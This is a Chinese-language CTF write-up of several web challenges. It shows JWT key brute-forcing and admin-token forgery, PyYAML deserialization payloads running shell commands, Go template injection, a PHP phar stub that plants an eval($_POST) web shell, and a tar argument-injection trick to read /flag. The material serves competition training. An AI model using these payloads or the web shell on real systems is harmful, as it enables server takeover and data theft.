Web

ez_python
首先扫目录能出来个auth

然后访问可得token(eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E)
直接伪造成admin
然后进行访问(控制台直接改),随便访问个python会给hint说key前几位,然后说后两位不知道需要爆破,那就直接写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import jwt import string import itertools
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
key_prefix = "@o70xO$0%#qR9#"
charset = string.ascii_letters + string.digits
for combo in itertools.product(charset, repeat=2): key = key_prefix + ''.join(combo) try: payload = jwt.decode(token, key, algorithms=["HS256"]) print(f"✅ Found valid key: {key}") print(f"Payload: {payload}")
admin_payload = { "username": "admin", "role": "admin" } forged_token = jwt.encode(admin_payload, key, algorithm="HS256") print(f"🔑 Forged admin token: {forged_token}") break except jwt.InvalidSignatureError: continue except Exception as e: print(f"Error with key {key}: {e}") continue else: print("❌ No valid key found.")
|

然后直接控制台替换即可
后面就是文件执行,一直试python发现基本都被过滤了,看到yaml文件也可以执行,想到用yaml进行读取
于是有了以下:
1 2
| !!python/object/apply:subprocess.getoutput ["ls /"] !!python/object/apply:subprocess.getoutput ["cat /f1111ag"]
|

SSTI
简单测试发现不是python的jinja2,于是使用Go模板下的SSTI测试(昨天刚好有瞄过,也是很不容易了)

很明显就是Go下的SSTI,发现他自己定义了两个函数:B64Decode
exec
直接 ls /
即可,算是个签到

easy_readfile
限制长度,不能使用另外一个链子,只能用这个来写入文件然后include
1 2
| O:7:"Acheron":1:{s:4:"mode";s:1:"r";} O:7:"Acheron":1:{s:4:"mode";s:1:"w";}
|
参考文章DeadsecCTF2025 baby-web可以发现这里是可以进行文件包含的,单参数构造的都没什么办法rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $phar = new Phar('exp.phar'); $phar->startBuffering();
$stub = <<<'STUB' <?php system('echo \'<?php eval($_POST["code"]);\' >/var/www/html/shell.php'); __HALT_COMPILER(); ?> STUB;
$phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>
|
参考2025-n1ctf-junior-web-backup可以提权
1 2
| echo "">"-H"; ln -s /flag ff;
|
等十几秒再cat ./backup/f*
就可以读取到flag